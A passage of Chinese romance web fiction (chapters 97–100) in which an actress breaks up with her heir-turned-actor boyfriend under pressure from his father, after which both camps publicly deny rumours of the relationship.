他脸色苍白，手用力地撑着桌子一角，江遥见他这模样，也并没有觉得多好受，她来这里的初衷，并不是想对他恶言相向。她缓了缓语气，认真地告诉他：“不要美化自己没有走过的路。让我们诚实点，如果回到当初，也走不到最后。”
她拿起手机看了下时间，语气忽然轻快起来，“是的，我不希望他想多，如果可以，还请你配合。”
她大大方方展示着自己的幸福，又软声跟他表达着诉
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求，他从未觉得，两人的距离这么远过，他像是地下室的老鼠，觊觎着那抹不属于自己的温柔。
走出包间，时间还不到六点。苏远安应该是包了场，店里一个人也没有，店家不知道去了何处。江遥望着窗外还未被夜色覆盖的天幕，心里涌起没来由的快乐，「我忙完了，等你哦。」她边往对话框里敲着字，边思索着晚餐该吃点什么。
“江小姐，麻烦留步。”耳旁冷不丁有声音响起，江遥抬头望去，是一个穿着西装的中年男人，肃着一张脸，此前从未见过。她皱着眉头，猜测着此人的来意，眼前的人又再次开口，“程总有话想单独跟您说。”他伸着手，示意江遥往这边走。
程。江遥自认，身边和这个字有关的人，有且只有一个。她阖上手机，跟上男人的脚步。
之前她无数次猜测过，能生出程绪这样的小孩，父母该是怎样的优秀。直到此刻。椅子上坐着的男人，年纪应该和老江差不多，看到她进来，笑着点头，“江小姐，请坐。”温和的笑意掩不住他不怒自威的神色，江遥伸手接过，踌躇着，不知该如何开口。
本来说好年后拜访，因为一些事情一拖再拖，她没想到，第一次，是会在这儿。
“我听阿绪说起过，江小姐你确实很优秀。”程元峰在江遥刚进来时看了眼她，又低头喝起杯中的茶。江遥微妙地察觉到一丝气氛的变化，安静地，没有试图再去打破这诡异的静默。
她看着摆在一侧的信封，一般偶像剧里，这种时候，是不是应该直接掏出一张支票，居高临下地问女主，你想要多少。她端着手中的茶盏，努力回忆着之前看过的狗血剧本。
但显然，程元峰不喜欢那么直白的操作，他又慢悠悠地喝了口茶，末了，才阖上盖子，看着江遥道：“我很欣赏努力向上的人，但有些东西，并不是努力就可以抓住。”他问，“江小姐，你觉得呢？”
江遥在脑海里翻着之前看过的台词，奈何接收的信息太杂太乱，以至于一时半会翻不到合适的一句来应对他。
“对不起，我会走的远远的。”或许这是他所期待的？
“可是我真的很爱他。”不行不行，太肉麻了。
“可是，我肚子里已经有了他的孩子。”配合凄惨的表情食用，效果应该能加倍递增。但是……会不会有点太狗血了。
江遥被自己的脑补恶心到，摇了摇头，晃掉那些乱七八糟的想法。
“不好意思，他还在等我吃饭。”江遥起身致意，“我先失陪。”
程元峰笑着看向她，“江小姐，你口中的他是指谁？是娱乐圈的演员，还是应澄科技的老板？”他往椅背上一靠，伸手拿过一旁的信封，递给她。“或许你应该看看，你身边的那个人，是不是真的是你以为的那样。”
江遥望着他，没有伸手去接，程元峰毫不在意地伸着手，留足时间，等着她想清楚。她觑着他脸色淡淡的神色，甚至想不出，这样的男人，怎么会和程绪水火不容。在他的描述里，他的父亲，并没有多好的脾气。
97. 分手
程绪明天要去出差，两人晚饭直接在外面解决。“东西都收拾好了吗？”回来的路上，江遥牵着他的手，随口问道。
“嗯，就去一星期而已，用不着带多少东西。”
江遥原本是侧躺在他肩上，听他丝毫不在乎的模样，翻过身来攀着他的肩膀，亮晶晶的眼睛望着他，语气可怜巴巴：“可是我会想你的。”
程绪笑笑，在她嘟起的嘴唇上啄了下，“我也是。”退开的瞬间，有温软的身子贴了过来。
司机不知道什么时候已经离开，程绪帮她拉好衣服，轻哄道：“我们下车了。”江遥搂着他的脖子，埋在身前不肯抬头。有外人在的场合，江遥总是束手束脚，他笑着安慰她，“没关系，听不到的。”而且，他很早就走了。
江遥被他说得脸色爆红，想起自己那止不住的低吟声，虽然没有到最后，但……眼前的罪魁祸首还是一副轻松自在的表情，她恨恨瞪他一眼，推门下车。
程绪赶忙去拉她的手，她一把拍掉，“拿开你的脏手。”他憋着笑忙不迭认错。两人携着手下车，电梯门一打开，两张嘴唇又迫不及待地吻在了一起。
江遥现在处于随时待命的状态，可能剧组一个电话，就得拎着包过去，等程绪出差回来，她或许已经又进了新组。这天晚上，两人不知疲倦般，客厅、卧室、浴室里，都充斥着他们爱的气息，缠绵的痕迹。
娇娇小小的一个，溺在怀里，弱弱地说着“还要”，程绪恨不得直接把她装进口袋，怎么疼爱都不够。做到后来，江遥直接瘫在床上，任由他将她摆弄成什么模样。
她的灵魂飘在半空，高高地俯视着这一对饮食男女，她在心里低低叹息。天边已经泛出鱼肚白，程绪抱着她放到床上，轻轻掖好被角，在她眼睛上吻了吻，“早安。”
房门轻轻关上，原本睡着的人，慢慢睁开眼睛。“再见。”她在心里，和他无声告别。
江遥睡到十二点才起床，其实躺在床上也睡不着，但她已经没有力气，去做更多的事情。刘阿姨见她起来，连忙热了菜端上桌，江遥扯着嘴角朝她笑，“您辛苦了。”
刘阿姨忙摆手，“您千万别客气，这是我应该做的。”拿着这么高的薪水，不多做点事儿，心里都不踏实。江遥脸色看起来比平常虚弱许多，她试探着问，“您是不是身体不舒服，需不需要叫医生？”江遥说：“没事，睡眠不好没胃口。”刘阿姨擦了擦手，“我去给您熬点粥。”
江遥也没再客气，吃了饭又去阳台，搬着凳子坐在一旁，看着那片长势喜人的花儿，各自舒展着身姿，不慌不忙地享受着自己的午后闲暇。有太阳照在窗台，她也跟着眯起眼睛，在短暂的交互中，试图寻找一丝共鸣。也许在多年后，她还会记得，这个平平无奇的午后，温暖而宁静。
突兀的手机铃声，打断了她的美梦。江遥睁开眼睛，摸出口袋里的手机，屏幕上的备注只有一个字，她划开接听键，听到那边问了句什么。
她听着那边小心翼翼的询问声，恍惚了一瞬，才想起来，原来，已经过去了一周多。之前录制的节目，明天就要上线。节目组的人遵照约定，来问江遥这边的最终决定。她还记得，当初自己一往无前的那一瞬，但现在也只是恍惚着，“麻烦帮忙把最后的问题剪掉，谢谢了。”
“您确定要这样吗？”工作人员再次确认。
女声早已做好决定，“是的，我确定。”
“好的，最终版本会遵照您的意愿。”工作人员答应下来，又犹豫着问，“不知是否方便问下您原因呢？”
江遥笑笑：“不重要了。”
剧组传来消息，两天后正式进组。当天晚上，苏远安发布微博称，此前的传闻纯属子虚乌有。江遥没有再看手机，翻出行李箱，收拾着自己的行李。
程绪飞机已经落地，问她在做什么，她给他拍照：「收拾行李。」
她发了哭泣的表情，「我应该属于最早进组的那一批，得待好几个月呢，两个箱子都不够提。」
程绪回到酒店，给她回过来电话，笑她怎么像蚂蚁搬家一样，“现在天气还冷，你带几件厚的衣服过去，后面换季的衣服，需要什么我送去给你。”
江遥笑他，“说这么好听，是不是真的啊。”
程绪耷拉着眉眼，明明白白给她摆脸色，意思是“你怎么可以这么说我”。江遥连忙哄着，“好了好了，你最好了。你不是下午还有会，去忙你的吧。”
小鱼看着身前几个超大号的行李箱，“姐，你这是打算把家搬空吗？”虽然说这剧组要待几个月，但带这么多行李是不是多少有点夸张。
江遥油盐不进，“放心，都有用。”
四月初，江遥进了新的剧组。剧组还没正式开机，她的主要任务，是和指导老师一起，训练一些打戏。前两天还算宽松，随着她逐渐适应，行程安排也愈加紧凑了起来。每天忙着翻跟头、吊威亚，一天下来，身上磕磕碰碰，都是青青紫紫的伤。
小鱼拿出一罐药膏，给她推拿，“程老师这药油还挺管用的。”江遥看着她手上的药瓶，是他得知她有封闭培训，出差前特意备下的，她还记得，当初他说，“我以前用过，很有效果。”一个衣食无忧的大少爷，为什么要来受这种罪过。当时的她，并不懂得，他背后的答案。
有趣的是，互联网上的乐子，又重新回放到属于江遥和苏远安的那一集。小鱼拿着照片给她看的时候，江遥甚至有种已经见怪不怪的平静。那天和苏远安的会面，不知怎么，出现在了社交媒体面前。照片下还有当天的拍摄日期，苏远安拉着她的胳膊，痛心疾首的模样，不用多说，网友们就能脑补出无数的版本。江遥已经懒得再回复。
程绪也许是忙碌，也许是出于信任，并没有就此事来询问过她什么。这段时间两人都忙，聊天的频率也慢慢降了下去，她看着手机上他发来的晚安，照着按了两个字发过去。
程绪还没有睡觉，开着视频问她，“你白天都不理我。”不是一个问句，他知道她忙碌，这时候说出来，像是在博关注的小狗。
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江遥隔着屏幕去吻他，“跟你说过啦，老师超严的，午休时间都不够。”她将袖子拉上去，给他看今天新添的淤青。程绪果然转移了注意力，心疼地蹙起眉头，再三叮咛：“你自己多加小心，一定要做好防护。太高难度的，还是得用替身。”
这样的话他最近已经说了好几遍，江遥说：“我知道的。你什么时候回去？”原本一周的出差一直在拉后，程绪说了个时间，她算了下，就是本周。
时间已经很赶了，江遥躺在床上，犹豫着有些话该怎么说出口，才能做到平稳过渡。她忍不住将角色调换，如果是他面对这种事，是不是能够足够冷静呢？她想起咖啡馆中，程元峰温和的面容，现在回想，或许他嘴中那个脾气不够好的父亲，能够如此平静，也不过是在年少的晚辈面前，提早猜出了她的决定。
江遥从不记得，那个此前还看起来遥不可及的人，在那么早以前就和她有了交汇。照片上的她黑着一张脸，角落里的他，看起来也是灰头土脸。她记得，自家的书桌上，也有这样一张照片，但人自我关注的本能，让她从没将目光移向他人。
程元峰不意外她的震惊，他的儿子，这么多年，他也只是稍微摸到了这么一点边。面前的女孩确实足够亮眼，平静的眼里，一丝不安在小心地探索着外界。他不介意，直接告知自己的来意，“江小姐，程氏集团的继承人，本不该走上那样的路。”江遥并不认识程元峰，但程氏集团，即使在A城也鼎鼎有名。原来，偌大的群体背后，站着的是这样一位长者。
“他已经偏航太久，作为父亲，我只想他回归正途。”江遥想反驳，或许他追求的，并不是这样一条路。但是谁知道呢，或许一路走下去，收获的早已比现在更多，正如程元峰所说，“毕竟这样，会容易许多。”
很多时候，事情总是一连串接着来的，在你认为已经跌到谷底时，又有新的坑摆在面前，让你知道，前面还有更远的路，坚强的人才能跨过。就像一个个通关关卡，最初的困难，在打通几级后，回望时也觉得不过如此而已。
江遥接到乔红英电话时，脑中不合时宜地响起这样的声音。她找到导演请好假，买了最近一班飞机往回赶。其他演员还未正式进组，导演大方地给她批了假，“如果严重，可以多待几天再过来。”
乔红英只说外婆在路上摔了一跤，现在在医院住着，老江已经赶了过去。乔红英向来喜欢报喜不报忧，这会儿告诉她，或许也只是单纯想找个人交流一下。
在去机场的路上，她捏着手机，往上滑了两屏。昨晚他还在说，下一个假期，想跟她出去走走。她借口困了，没有正面回复。虽然这时候说信用，好像有点假惺惺，但她真的一点不希望，答应他那些做不到的事情，又让他空等。
酝酿许久的话，删删改改，最后落定在对话框：「我们不合适，就到这里吧。」
她关了手机，塞进随身的包里。飞机飞上高空，她望着舷窗外翻滚的云，也许是上天也看不下去她的犹豫不决，催促着让一切尘埃落定。
98. 追逐
江遥提着行李敲响家门，乔红英震惊的脸从门外露出来，“你怎么回来了？”
“不是说外婆住院了吗，老江去看说怎么样了？”
乔红英“哎哟”一声，“我不是给你发了消息，好着呢，让你不要担心，你这孩子，怎么就突然冒出来了。”
“手机没电了，没注意看。”江遥抱着她的胳膊撒娇，“好了好了，我这不是担心嘛，假都请了，我也过去看看吧。”
老江没在家，晚饭是乔红英张罗的，母女俩坐在餐桌上，一边听着电视机的声响，一边聊几句有的没的。老江视频电话打进来，“不是说遥遥回家了吗，电话怎么打不通。”
乔红英将摄像头扭过去对着江遥，“她手机没电了。”江遥跟老江打了招呼，又听到乔红英催她快去把电充上。江遥笑着应下，仔细问了外婆的身体状况。
老江说老太太没什么大事，在医院一天也待不住，下午已经出院了。老人的身体一年不如一年，难得又有几天长假，江遥还是决定第二天过去看看。
江遥放假，小鱼也跟着空闲了下来，欢欢喜喜约着小姐妹逛街。拿起手机，才发现多了几个未接来电。没有留备注信息，但看时间频率，应该确实是有事。她试探着拨过去，电话那边的男声听起来非常熟悉。
她试探着问道：“程老师？”
程绪声音听起来很急的样子，她也就跳过寒暄，礼貌地答：“遥遥姐今天请假回老家了，哦她没什么事，听说是外婆身体不好，回去看看。”
“嗯对，上午就去了机场，走的急估计忘记给您说，您等她下飞机再拨。”
小鱼没想到会在剧组见到程绪，她从外边回来，停在路旁的一辆车，车门突然从里打开，西装革履的司机准确叫出她的名字，她吓了一跳，拍拍胸脯，才看到后排坐着的人。他看起来风尘仆仆，眼神落在她身后，“她有没有说什么时候回来？”
看起来完全不知情的样子。小鱼心里猜测着，说不定这两人约了见面，江遥走得匆忙没来得及跟他讲，但是什么时候回来，她确实不知道，只好摇头道：“导演说可以多给几天宽限，具体哪天回，遥遥姐还没跟我说。”
程绪闻言只是沉默，她试探着出声，“您还有什么事儿吗，要不我先上去了。”
程绪点头，小鱼略站了站，看到车子开了出去，才转身往里走。
早饭桌上，外婆看到江遥露面，嗔怪地横了老江一眼，“谁让你们跟她说的，我身体好着呢。”
有亲戚正好要下乡，江遥昨晚坐他的车提前过来的，到的时候外婆已经睡下，两人今早才见上。上了年纪的老人摔一下都不得了，还好外婆身子骨看起来确实还行，精神矍铄，一点没有病色。
她生怕江遥没吃饱，忙活着要她夹菜，江遥连忙阻止，“我自己来就好。”外婆又拉着她的手，语重心长地叮嘱：“你自己在外面多注意，不要记挂我。”一年未见，老人还是惦念着在外远行的儿孙，她沉默地点头，说您也多保重。江遥又陪了她一晚，第二天下午跟老江开车回去。
到楼下天已经黑了，小区里的路不算宽敞，倒车的时候总是要左右看看。有辆车停在路旁，老江估摸了一下，还是放弃硬上。他指挥一旁的江遥，“去让前面那车挪一挪。”
江遥哦了声正想开门，老江又反应过来，伸手去解安全带，“算了，我去。”江遥掏出口罩戴上，“没事的。”
她轻快地下车，朝一旁停着的车走过去。越近，步子越慢了下去。黑色的车身，流畅的轮廓，看起来颇为眼熟。她走到车后，瞥了眼牌照，A城的。之前去滑雪，他们就是开的这辆车。
中止的记忆被迫连接，她踌躇着，不知如何直面这一切。
上飞机后，她的手机没有再开机，人为地隔开和外界的接触。他是什么时候回来，又是什么时候到了她家楼下蹲守，她通通没有听说。她攥着手机，挪着步子过去，车窗紧闭着，车内的景象无从窥探，但她知道，里面的人对外面的举动一览无余。老江还在身后望着，她努力抬起手，在那扇车窗上敲了敲。
车窗放下，冷硬的脸庞暴露在她的目光下。还是熟悉的模样，但从此不再属于她了。江遥喉头一哽，控制着自己的声音，“麻烦把车往前开一下。”
冷淡的声音，仿佛眼前站着的只是一个陌生人。清亮的眼睛低垂着，他看不清她的神色。“回来了？”程绪想问，一句话出口，却没有丝毫声音发出。几天没说话，喉咙已经非常干哑，他顿了顿，才找回她喜欢的音调，扯着唇笑，“外婆身体怎么样了？怎么不接电话？”
原本金光闪闪的人，在夜色的掩映下，莫名黯淡了下去。指甲抠破掌心，江遥后知后觉到一点疼痛，她倔强地撑着身子，没有答他的话，克制地往一旁让，“麻烦了。”
车中的人专注地望着她的方向，似是想从她脸上，读出另一个答案。这里的气氛僵住，老江察觉到不对，伸出头来问，“怎么了，能不能挪？”
江遥回头安抚，“没事，很快就好。”她站近一点，平静地对着车中说：“我们的事情不要牵扯到我爸妈。”
声音不大，却在他心上砸出巨响，余音不断扩散，刺痛得耳膜嗡嗡作响。连日的奔波，在她眼里，原来只是威胁的手段。程绪脸上的笑容淡了下去，挣扎着辩解道：“我没有这么想。”
“开车吧，晚点聊。”江遥阻止他未出口的话，转身上了自家的车。他怎么想的，一点都不重要。
天色越发暗了下去，程绪将车停在街角，努力缩小自己的存在感。他不敢将车开太远，又怕太近让她误会，只好隔着一段距离，默默等她想起。时间慢慢过去，江遥没有再传来只言片语，他搓了搓手指，忆起她不耐烦的模样，不知今晚，是否还能等到她。
好在，她到底还是来了。
“不好意思久等了，晚饭吃了吗，要不要找个地方吃点儿？”没有外人在场，她开始如常地和他攀谈，如果忽略掉那过于客气的开场，似乎和之前也并没有什么不一样。
“我不饿。”程绪侧眸，试探着去握她放在腿上的手，“遥遥，不要这样。”
江遥没有躲，任由他的手掌将自己包裹。她懒懒靠着椅背，笑问他：“哪样。”漫不经心的语气，猜不出带了几分真心在谈，也并不好奇答案。
她避开乔红英和老江，躲在房间，打开几天没开的手机，小小的屏幕，几乎被他的信息淹没。满屏的未接来电和信息，他在这些天里，无用地维持着和她的
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联系。
她一条条翻过他的留言，没有丝毫的质问和指责，只一味反省着自己的不足，在深夜里，给她发“理理我”。甚至直到现在，他都不知道发生了什么。
手指在拉黑的按钮上徘徊，最终，还是丢了手机，来赴他的约。在房间里关了这么久，她自认心理建设已经足够支撑她演完这一幕。
他应该是有几天没有好好睡觉，瞥来的眼里，血丝密布。但很奇怪，即使这样，也不可自拔地吸引着她的目光。江遥深吸了口气，逼着自己狠下心肠。他已经牵着她的手，走了很长很长的一段。她坐直身体，试着抽回手，“我要回去了。”
她脸色淡然，似是再没有更多的话可讲。手里的热意骤然撤出，粉饰的表面绽出裂痕无数，程绪手本能地跟着往前伸，又怕惹她不开心。他垂着头，终于露出点疲色，“遥遥，能不能告诉我，究竟发生了什么。”
江遥将目光从他脸上移开，逼迫自己对他的挣扎熟视无睹，“都不重要了。我不想再往下走。”
“谁说这不重要了？为什么突然放弃我？”程绪扶着她的肩膀，逼着她直视自己的目光，“你什么也不用做，我会一直朝你走。”
他的眼里写满认真，江遥像被踩中尾巴的猫，一把甩开他，“你能不能听听我想要什么！”她提高音调，反光镜中映出她声色俱厉的模样，她深呼了口气，才将心中翻涌的情绪压下，声音重归平和，“放过我吧，我担不起这么大的罪责。”
程绪察觉到不对，逼着她面对他，“是不是有人跟你说了什么？”
江遥知道最终也不可能瞒过他，不如一次快刀斩乱麻，她讥诮地反问道：“程氏的少爷，真的有这么闲吗？”
头顶悬着的警报终于触发，他脑海中一瞬间闪过程元峰最近和蔼的脸色，原来，在这里等着他。程绪莫名觉得可笑，这么多年，努力摆脱的角色，为什么要在他离幸福如此之近时来横插一脚。他抿着唇，一字一句，想把自己的心意传给她，“不管身份如何，我都只是我，你感受到的，就是最真实的我。”
江遥抱着手臂冷笑：“能被你瞒到现在，我的感受看起来并不太靠谱。既然你从未坦诚过，现在何必来谈什么真实与否。”
程绪低头认错，“对不起，不是故意不跟你说……”无力的辩白，听来都像是借口，他停下声音，放弃继续描补。
是与不是，真的一点都不重要了。她胡乱抓住一些片段，不管不顾地将帽子往他身上丢，“是啊，你甚至压根都没有骗过我。或许在你看来，一场游戏而已，用不着交底。”
“说起来还得谢谢你，我一个小演员出场费真不低。”不管怎么都好，别再来找她，过了这一段时间，她就能恢复好。
她不惜将自己放到最低处，这样随意的态度，同样扎得他鲜血汩汩，他的眉头蹙起，“不要这么说自己。”
江遥还在自顾自往下讲：“那些衣服首饰，我只带走了自己的部分，其他的你自己看着处理。”
程绪全身的血液渐渐冻住，原来，早在进组前，她就已经动了离开的想法。那为什么，还能若无其事地和他求爱撒娇？他还记得，离开前那个疯狂的晚上，她窝在自己怀里，流泪的眼角。所以……是讨厌的吗？
99. 首爆
冷意从心脏传出，向四肢逐渐延伸，脸上的笑容也僵住，程绪努力调动脸部肌肉，想笑，却笑得诡异而别扭，“不分手好不好，等你不生气了再回家。”
江遥瞥开视线，去拉门的把手，“我不会回去了。”她不介意，让他更快一点接受结果，“就算在一起，你又能给我什么？”
“可真没劲透了。”她冷嗤一声，开门下车。
脚步声逐渐远去，车内重新剩下他一个。夜色掩盖住这一地破碎的故事，程绪攥了攥拳头，最后也只是将头深深埋下，那笔直的脊梁，承受不住心脏的重担，微微弯曲着，任那所剩无几的自尊，缓缓拼凑成形。
“怎么还不起床！”江遥是被砸门声惊醒的，昨天浑浑噩噩不知道几点才睡着，一醒来就是乔女士的狮吼功在余音绕梁。
“来了！”她穿上衣服去开门，果不其然接到乔女士嫌弃的眼神，“越活越回去了你，吃饭也要人喊。”
她捂嘴打了个哈欠，“有点失眠。”
乔红英对着她屁股就是一巴掌，“晚上该睡的时候不睡觉，我起夜还听到你屋子里有声响。”
江遥抱着她的胳膊求饶，“好了好了，追剧有点上头，怪不得说距离产生美呢，刚回来几天，你就嫌弃我了。”
乔红英笑着瞪了眼她，“少怪模怪样，快来吃饭。”
江遥在家停了一天，很快返回剧组。老江送她去机场，照常叮嘱，“自己在外多注意。”江遥笑说，“知道的。”每次都是这一句，耳朵都快听起茧了。老江沉吟了下，笑着挥挥手让她先走。
江遥全身心投入开拍前的准备工作，心无旁骛时，连台词都背得快了许多，洗漱时，看着镜子中的神色，她觉得自己状态还不错。
小鱼却问，“姐，你最近是不是有事儿？”
江遥擦干手，“怎么这么说。”
“嗯……就是……不知道怎么说。”小鱼支支吾吾，也说不出个结果。
江遥拿了剧本往外走，“我看你是太闲了。”小鱼吐吐舌头，“谁比得上你啊。”训练的间隙，还能自觉插上各种活动来学习。
剧组在四月底正式开机，刚开拍，就遇到了问题。
主演们的服装早已赶制完成，服装师量身定制，完美贴合体形。江遥饰演的是古代版的花瓶美人，服装设计极尽繁复，力求每一寸都纤秾有度。
江遥在小鱼帮助下穿上衣服，动了动，好像行动自如了许多。小鱼捏着宽出半指的腰身，又看了看江遥，终于反应过来，“姐，你瘦了好多。”她记得第一次试妆时她还打趣过，就这装扮，稍微多吃两口就能被腰带勒住。
江遥愣了下，笑笑说：“可能运动量有点大了。”小鱼一想也是，又忙着给她建议，怎么能快速胖回来点儿。
“不能再瘦了。”小鱼嘀嘀咕咕的声音，和记忆里的某一段重合，曾经也有人很是为她的体重操心过。江遥甩了甩宽大的衣袖，她说什么都点头应着。小鱼狐疑地看她一眼，打趣道：“不管是谁在你身上，继续保持就好。”
不同于小鱼的轻松，杨越觉得自己这个四月未免有点太过漫长。在成功拿下新项目的开心过后，就是一日复一日的开会和加班，项目组成员恨不得把一天当两天来花，老板也身先士卒，基本没怎么着家，还好，一切付出都是值得的。
众人一脸疲色，眼底却闪着跃跃欲试的光，不用照镜子，他知道自己的表情肯定也相差无几。但没关系，在攻克一个艰苦的任务后，暂时的喜悦是允许的。他看向不远处的男人，眼睛微微垂着，手指在手机屏幕上无意识划动，看起来，像是在等什么消息。
这种情况，只能让他想起一个人。在江遥和程绪恋爱后，他本以为程绪会更近人情，事实上，两人除了工作时间，其他时候的交集少得可怜，江遥的消息，他掌握的大多也都是官方透露过的那些。程绪像是把她圈进了自己的领地，拒绝和他人分享，也不需要别人认同。只在需要时，他才会主动询问，是否需要介入处理。
也许是此时气氛正好，他看着心不在焉的某人说道：“项目组明天开始放假，您也可以趁机休息几天了，是否需要我去订机票？”
江遥进组后，两人应该很长时间没有见面过，他猜，这个提议应该不会被推翻。
空气静默着，程绪停下轻点屏幕的双手，杨越心内轻笑，掏出手机，正准备动作，程绪淡声说：“你最近辛苦了，早点回去休息吧，我自己安排。”
“哦，好的。”杨越笑呵呵退了出去，说不定小情侣有什么别的计划呢，怪自己多事了。
几天后回看，他才知道当初的这种想法，有多离谱。好在即使是假期，他的手机还是习惯性保持着二十四小时开机，公关团队电话打过来的时候，他还以为是新上线的项目出了什么问题。直到听筒里传来秦时的声音，他才知道，不可能。这个项目虽然重要，但是远不至于让部门老大亲自上阵。
“你们最后一次联系是什么时候？他电话打不通。”
杨越毫不犹豫，“三天前的晚上。”
“你现在尽快去他家一趟，我等你电话。”
杨越不自觉被他的严肃带动，说话间已经起床穿好衣服，最快时间拿起钥匙打开了房门，“行，稍后联系。”
车子驶出一段后，路上的车辆慢慢多了起来，杨越随手打开车上的广播，“现在为您播报的是早间娱乐新闻，影帝程绪和演员江遥共同现身游乐园，疑似地下恋情曝光，记者联系双方工作人员，截至目前，暂无回应。”
杨越握着方向盘的双手收紧，这一天，还是来了。他紧赶慢赶，还是花了近一小时才来到程绪家楼下。电话始终没人接听，他直接用备用钥匙开了房门。偌大的房间里并没有人声，桌上的花束缺人打理，耷拉着脑袋做着垂头丧气的表情，一看就是扑了个空。
江遥新剧开机后就不再有公开信息曝光，这几天两人估计正你侬我侬，他边给秦时回电，边试着去推程绪卧室房门。
房内的窗帘被重重拉上，透不进一丝光亮，只有一点晨光从敞开的大门溜进去，打破黑暗笼罩的这片空间。他探头看了眼，告诉
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秦时：“家里也没人，不如直接联系江小姐经纪人。”
秦时暴躁地捋了下额发，“联系不上。”
杨越安慰着：“可能还没看到消息，再等……”话没说完，一丝陌生的声音，从房间里传出，声音不大，似是锯木头发出的声响，粗哑非常。
杨越推开即将阖上的门，急走几步上前，只见高大的男人躺在床沿边，闭着眼睛，喃喃着什么。
“您怎么了？”他匆忙挂了电话，打开床头灯。灯光刺得程绪眼眸动了动，双眼还是紧紧闭着，微蹙着眉头，苍白的脸上，带着病弱的红晕。他的嘴唇干得起了皮，褪去红润，正在努力张合着，发出响声。
明明前几天还好好的人，不知道怎么突然把自己折腾成了这幅德行，杨越低头去听。“药……药……”程绪无意识低喃出声。
这是病了多久了，难受成这样。杨越伸手探了探他的额头，简直要被手下烫人的温度惊住。他赶紧搓了条湿毛巾，敷在程绪额头上帮着物理降温，坐在床边的凳子上等家庭医生上门。
床头的小狗睁着豆大的眼睛，望着眼前突然闯入的陌生人，一人一狗，僵立着谁也没有动。杨越克制着自己的视线，却很难忽视，房间里散发着的，属于女孩的香味儿。
针孔插进皮肤，程绪头陷在枕头里，始终没有清醒。杨越带上房门，跟着医生轻手轻脚地退出来。医生收拾着药箱，交代他一些注意事项，他一一点头应下，又给秦时同步了下目前的状况。
老板一睡不醒，江遥那边也至今没有什么动静，作为员工，他们也不敢轻举妄动。辟谣吧，说不定人家当事人正想趁势争取点名分，不辟谣，最佳公关时间又在一步步消减。最后，秦时说：“我会让人盯着网上的风向，你先安心待在那儿，等他醒了再决定。”
“他现在什么情况，多久能醒？”
“医生开了药，说卧床休息几天就行。”应该是前阵子熬狠了，睡眠太少，抵抗力不足。
看他样子一时半会儿醒不了，杨越拿出手机，翻了翻网上的进展。一个上午过去，#程绪江遥同框##程绪江遥游乐园#等关键词还挂在热搜上，整个榜单，更是被两位当事人的相关消息填满。
程绪江遥同游游乐园的照片，最初是一名网友爆的，照片本身，其实看不出什么亲近的意味，两人都戴着口罩，距离并不足以引人遐想。帖子一开始并没有太大热度，毕竟照骗看过太多，不露脸的所谓俊男靓女，说不定只是氛围感加成罢了。直到，这篇文章被营销号转发了。
随着热度上升，大家纷纷嗅出点不对劲。评论区经过N轮讨论，得出的结论，吃瓜群众们自己都觉得不可置信。
「就算是他们俩好了，距离这么远你怎么知道是在谈的？」
「就是说啊，好歹之前合作过，说不定还有其他同行的同事没被拍呢。」
「有其他证据麻烦直接甩我脸上，只有这种小儿科那就散了吧。」
emmm，多么配的两人，你们干嘛不信。杨越边看边觉得事情走向是不是不太对劲。
100. 辟谣
他怀疑，是秦时下的水军在发功。但世界上最不缺的就是乐子人。这条博文似是提供了条线索，将两个原本毫不相干的人拉到台前，告诉你，他们其实可以有一千种可能性。
很多东西是禁不住扒的，秦时指挥着团队，时不时放点烟雾弹混淆视听。以至于现在热搜上看起来热热闹闹的，其实点进去，并没有什么实质性的东西。不可置信的吃瓜群众、跑断腿辟谣的粉丝以及夹缝里嗑一口的新兴CP粉们各自为营，两人过往的绯闻对象也被轮流拉出来讨论，热闹得像是所有CP都能成真。
杨越悄悄舒了一口气，在两位当事人回应前，这样的状态，最好能维持得久一点。
小鱼的电话一直提示关机，微信上，发过去的消息到现在都没有收到回应。他们那边应该也忙得不行。他重新推开房门，给程绪换了新的点滴瓶。
小鱼捧着手机，犹豫着去看江遥的脸色，江遥正对着镜子一点点卸掉脸上的妆容，没有回应她的眼神。今天拍的是女主少年时的戏份，柔弱的少女被掩住身份丢进人群，挣扎着求生，几天下来，身上很难找到一块好地方。在青紫和血迹交杂中，少女的眼神一点点变冷。
几分钟前，江遥就是带着这样清冷的眼神，面无表情地让她去辟谣。
她不知道，几个月前的照片为什么会在这时候流出，但Susie得知消息第一时间联系她的时候，尽管受到了不小冲击，但还是让她转达，一切都凭江遥自己做主。
剧组今天在郊外拍摄，她关了手机，切断和外界的联系，猜测着，那两人趁势公开的可能性。从一开始的自留退路，到后来一步步走近，二人之间的边界早已模糊不清。她克制着内心的激动，将事情说给江遥听，她记得，江遥只微愣了下，什么都没有问，只说辟谣就行。
事业上升期的明星，不管多少绯闻傍身，一旦有确定的恋爱对象，就会丧失一部分拥趸，何况对方还是那么腥风血雨的人。
小鱼能理解江遥的决定，宽慰她道：“不公开也行，光凭这一张图也不能按头在谈着，何况至今没有露脸照流出，就连你们的身份，也只是停留在猜测中。”
她截了张网上的新闻，唰唰P上文字，最后向江遥确认，“你看看这样行不行？”
江遥手上动作没停，懒懒扫了眼她的手机屏，“嗯，发吧。”
消息刚发出去，蹲守在线上的网友马上到达现场，「我就说嘛，程老师就应该是大家的。」
「还好还好，就说这俩画风也差太多了吧！」
「可是，谁家好人会单独去逛游乐园啊……」
「不管你们信不信，反正我是不信的。」
江遥工作室的微博被第一时间转发至各个平台，小鱼切了小号逛了逛，在善意的调侃之外，也不乏“我就说程绪眼光不至于这么差”、“江遥炒作真是没完没了”、“贵圈真乱”等言论。
杨越再一次错过了现场事态的发酵，秦时电话打来时，程绪还在安睡着。他看着手机上新刷出来的动态，深觉前路漫长。不管程绪这边到底怎么想，江小姐的态度已经明摆着了。程绪江遥恋爱的绯闻，只能被定性成一场乌龙。
“还能怎么办，只能跟上。”
继江遥工作室发声后，程绪方也紧跟着发布了辟谣信息。两张截图并排在一起，明晃晃的“假”字，仿佛不值得多浪费一个字。
「散了吧，又当了次营销号赚KPI的工具人。」
「+1，纯纯浪费表情。」
「江遥这是踢到钢板了，拉谁炒作不行非要来扒拉这号人。」
「能不能讲点道理，明明是人家江遥这边先发声，谁嫌弃谁还真不一定。」
「要不要这么逗啊姐们，真以为你姐姐谁见谁发晕？」
有人发散思维，弱弱提问：「有没有一种可能，图片是真的，现在没在一起也是真的？」
「我也觉得，谈过，分了。」
有人好心提醒：「小声点，小心被粉丝冲。」
“小声点。”杨越提醒刚进门的周颂，“他还没醒。”
“他还睡得着呢？”周颂脱下外套，往凳子上一坐，面对着杨越问，“什么时候谈的啊？”
“什么？”
周颂掏出手机往桌上一拍，“别告诉我这不是他们。”
